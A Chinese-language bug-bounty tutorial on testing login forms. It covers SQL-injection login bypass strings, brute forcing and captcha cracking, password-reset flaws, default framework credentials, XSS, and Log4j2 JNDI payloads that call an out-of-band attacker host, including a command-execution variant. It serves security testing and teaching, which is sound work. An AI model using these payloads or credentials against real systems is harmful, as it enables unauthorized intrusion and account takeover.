【SRC】基础思路篇3:登录框安全测试完全指南

发布时间:2026/7/20 10:21:53
【SRC】基础思路篇3:登录框安全测试完全指南 文章目录前言一、万能密码测试思路1. 经典万能密码尝试MySQL最通用双引号闭合SQL用双引号包裹字段绕过空格过滤无空格注入其他经典Payload2. 实战经验二、爆破技巧1. 验证码问题测试2. 锁定机制测试3. 高效爆破策略4. 验证码爆破工具captcha-killer-modified4.1 工具简介4.2 实操步骤5. 路径爆破5.1 Java接口路径爆破5.2 Struts2路径爆破技巧三、密码重置漏洞1. 邮件重置漏洞2. 密保问题漏洞3. 任意账号重置四、前端校验绕过1. 修改返回包测试2. 参数篡改测试五、弱口令测试1. 常见弱口令清单2. 框架默认密码3. 高效测试策略六、注入漏洞测试1. SQL注入测试2. XSS测试3. Log4j2漏洞测试七、用户名枚举漏洞1. 测试场景2. 测试方法八、注册功能测试1. 重复注册漏洞2. 用户名限制绕过3. 越权注册测试九、高级技巧组合攻击1. 信息泄露 密码重置2. 短信轰炸 爆破3. 小程序逆向 账号接管结语⚠️本博文所涉安全渗透测试技术、方法及案例仅用于网络安全技术研究与合规性交流旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前必须获得目标网络 / 系统所有者的明确且书面授权严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。前言作为SRC安全响应中心测试的入门场景登录框是最常见也是最容易发现漏洞的地方。本文将带你从零开始一步步掌握登录框测试的核心思路和实战技巧。一、万能密码测试思路万能密码是指不需要知道真实密码就能登录的特殊输入通常利用SQL逻辑漏洞。万能密码不仅可以用在密码输入框同样可以用在用户名输入框。1. 经典万能密码尝试MySQL最通用输入内容适用场景原理说明 or 11#SQL注入型登录通过构造永真条件绕过验证#注释掉后续SQL or true--SQL注入型登录使用true代替11–注释后续内容admin or 11#指定账号登录优先匹配admin账号再构造永真条件 or 11过滤注释符的站点无注释符利用字符串比较恒成立双引号闭合SQL用双引号包裹字段输入内容适用场景 or 11 --字段用双引号包裹的情况绕过空格过滤无空格注入输入内容适用场景or/**/11#过滤空格的站点用注释符替代空格其他经典Payload输入内容适用场景原理说明falsefalse某些特殊系统逻辑运算恒成立1230#字符型注入利用注释符截断SQL语句123某些过滤不严系统闭合密码语句结构2. 实战经验在某学院预约系统测试中我曾遇到过使用or 11 --直接绕过登录的情况。关键在于尝试在用户名或密码输入框中输入注意观察是否有WAF拦截如果被拦截尝试编码或变形如URL编码二、爆破技巧1. 验证码问题测试测试场景尝试多次登录失败后是否需要验证码验证码是否可以重复使用是否可以通过抓包绕过验证码实战案例某高校系统存在验证码复用漏洞同一个验证码可以多次使用导致短信轰炸和密码爆破成为可能。2. 锁定机制测试测试思路尝试用错误密码登录观察是否有账号锁定机制如果锁定的是密码可以尝试锁定默认密码如123456后爆破用户名如果锁定的是IP可以尝试通过代理或XFF头绕过3. 高效爆破策略1. 先收集目标信息员工姓名、生日、公司名等 2. 生成针对性的密码字典如姓名生日组合 3. 使用Burp Suite等工具进行自动化测试 4. 注意设置合理的延时避免被封禁4. 验证码爆破工具captcha-killer-modified在渗透测试中验证码往往成为爆破的最大阻碍。captcha-killer-modified是一款适配新版BurpSuite的验证码识别插件集成ddddocr验证码识别库能自动识别多种类型验证码。4.1 工具简介captcha-killer-modified 源于 captcha-killer核心优化如下适配新版Burpsuite接口兼容高版本JDK新增对data:image格式图片的识别支持集成验证码识别库 ddddocr注意该工具适用于Windows环境Macbook M1(X)系列设备暂不兼容。4.2 实操步骤https://blog.csdn.net/qq_40037555/article/details/1592817085. 路径爆破暴力破解除了传统的口令爆破还包括路径爆破。路径爆破是指通过枚举可能的接口路径来发现隐藏的功能和接口尤其适用于Java Web应用。与口令爆破不同路径爆破的目标不是破解用户凭证而是发现系统中未公开的功能入口和敏感接口。5.1 Java接口路径爆破常见Java框架后缀后缀框架说明.doStruts2最常见的Struts2后缀.actionStruts2Struts2默认后缀.mob自定义部分系统自定义的后缀.jspJSP直接访问JSP页面.html静态页面可能存在隐藏页面.jsonAPI接口JSON格式的API.xmlXML接口XML格式的API爆破思路确定基础路径如https://xxx.com/枚举接口变量在基础路径后添加常见的接口名称尝试不同后缀对每个接口名称尝试不同的后缀关键注意事项后缀可自定义.do、.action是Struts2的默认后缀但开发者可以通过配置文件自定义如.mob、.handler、.service 等结合响应分析关注响应状态码200、404、403、500和响应内容常见接口关键词login、register、admin、user、reset、captcha、upload、download、api、service5.2 Struts2路径爆破技巧检测Struts2框架观察URL后缀.do、.action查看响应头中的X-Powered-By分析前端JavaScript代码中的接口调用自定义后缀测试# 默认后缀 https://xxx.com/login.do https://xxx.com/login.action # 自定义后缀需爆破尝试 https://xxx.com/login.mob https://xxx.com/login.handler https://xxx.com/login.service https://xxx.com/login.cmd三、密码重置漏洞密码重置功能是逻辑漏洞的高发区也是获取账号权限的重要途径。1. 邮件重置漏洞测试步骤请求密码重置观察返回的链接或验证码尝试分析重置链接的参数是否可预测修改参数尝试重置其他账号密码实战案例某医院系统的密码重置链接包含用户ID参数通过遍历ID可以重置任意用户密码。2. 密保问题漏洞常见问题及测试答案密保问题常见答案测试思路你的名字管理员、admin、系统名称尝试与系统相关的关键词你的生日19900101、公司成立日期尝试常见日期格式你的母校北京大学、清华大学尝试知名高校名称真实案例某管理后台的密保问题是我的名字答案竟然是管理员导致被轻易破解。3. 任意账号重置测试方法在重置密码页面尝试输入admin等常见用户名如果系统提示该用户不存在说明存在用户名枚举漏洞如果不提示则尝试重置密码后查看是否能登录四、前端校验绕过很多系统只在前端做校验后端没有验证这是常见的安全隐患。1. 修改返回包测试测试流程1. 使用正确账号但错误密码登录 2. 用Burp Suite拦截返回包 3. 修改返回的状态码或数据如将false改为true 4. 放行请求观察是否能成功登录2. 参数篡改测试测试思路登录成功后观察Cookie或Token的格式尝试修改用户ID等参数观察是否能越权访问其他用户数据实战案例某高校访客系统的登录返回包中手机号是明文修改手机号即可冒充任意用户登录。五、弱口令测试弱口令是最常见的安全问题尤其是在管理后台和默认账户中。1. 常见弱口令清单admin/admin123 admin/123456 admin/admin test/test root/root2. 框架默认密码不同框架和系统有默认的账号密码测试时可以尝试框架/系统默认账号默认密码XXL-JOBadmin123456JenkinsadminadminZabbixAdminzabbixNacosnacosnacosDruidadminadminRuoyiadminadmin1233. 高效测试策略测试步骤先尝试默认用户名admin、root、test等使用常见密码组合测试如果系统有锁定机制采用固定一项爆破另一项策略六、注入漏洞测试登录框是注入漏洞的高发区尤其是SQL注入和XSS。1. SQL注入测试测试方法在用户名或密码输入框中输入特殊字符输入单引号、双引号、花括号{}等观察是否有数据库报错信息判断方法如果报错说明可能存在SQL注入需要注意区分是预编译语句的报错还是真正的注入点2. XSS测试测试场景任何注册后会显示的数据都可能存在XSS在用户名输入框尝试注入scriptalert(1)/script观察登录失败时是否会显示输入的用户名实战案例某系统的登录失败页面会显示输入的用户名导致存储型XSS漏洞。3. Log4j2漏洞测试适用场景老系统、Java Web应用特别是使用Log4j2日志框架的系统漏洞原理Log4j2存在JNDI注入漏洞CVE-2021-44228当用户输入被日志记录时恶意的JNDI表达式会被解析执行导致远程代码执行。测试方法在用户名或密码输入框中输入Log4j2 Payload观察是否有DNS请求到攻击者的服务器基础Payload${jndi:ldap://${sys:user.name}.dns地址/test}测试步骤准备一个DNS日志平台如Burp Collaborator、DNSLog在用户名输入框输入${jndi:ldap://${sys:user.name}.your-dns-address/test}在密码输入框输入任意内容点击登录观察DNS日志平台是否收到请求其他变体Payload${jndi:rmi://your-dns-address/test} ${jndi:ldap://your-dns-address/Basic/Command/Base64/编码后的命令} ${${::-j}ndi:ldap://your-dns-address/test} ${${lower:j}ndi:ldap://your-dns-address/test}特点高危害直接导致远程代码执行隐蔽性强登录失败时输入也会被日志记录老系统高发未修复的Log4j2版本普遍存在此漏洞七、用户名枚举漏洞用户名枚举可以帮助攻击者获取有效的用户名列表为后续攻击做准备。1. 测试场景常见测试入口登录页面尝试不同用户名观察提示差异注册页面尝试重复注册观察提示忘记密码页面输入用户名观察是否提示存在2. 测试方法观察响应差异状态码是否不同如200和404响应时间是否有差异错误提示信息是否不同八、注册功能测试注册功能同样存在很多安全隐患需要全面测试。1. 重复注册漏洞测试思路使用已注册的账号再次注册观察是否能覆盖旧密码如果可以可能导致账号被劫持2. 用户名限制绕过测试方法在用户名前后添加空格尝试URL编码空格%20观察系统是否会去除空格或接受带空格的用户名3. 越权注册测试实战案例某学校系统的学生注册路径是/student/register尝试修改为/teacher/register后发现可以注册教师账号。九、高级技巧组合攻击在实际测试中单一漏洞可能难以利用但组合多个漏洞往往能获得更大权限。1. 信息泄露 密码重置流程 1. 通过未授权接口获取用户信息姓名、工号、手机号 2. 利用忘记密码功能输入获取的信息 3. 重置密码后登录目标账号案例某学院系统通过接口泄露了7000多名学生信息结合忘记密码功能实现任意用户登录。2. 短信轰炸 爆破流程 1. 发现短信验证码发送存在漏洞 2. 通过修改参数绕过发送限制 3. 结合密码爆破尝试登录案例某系统的验证码发送接口有source参数修改该参数值可以绕过发送频率限制。3. 小程序逆向 账号接管流程 1. 对小程序进行逆向分析 2. 找到加密参数和密钥 3. 伪造其他用户的数据实现登录案例某医院小程序的sessionkey直接返回给前端通过伪造encryptedData实现账号接管。结语登录框测试是SRC入门的最佳起点通过不断实践和总结你会发现很多看似复杂的漏洞其实都源于简单的逻辑缺陷。记住耐心观察、大胆尝试、善于总结这是成为优秀安全测试工程师的必经之路。如果这篇文章对你有帮助请点赞支持一下有任何问题欢迎在评论区交流讨论。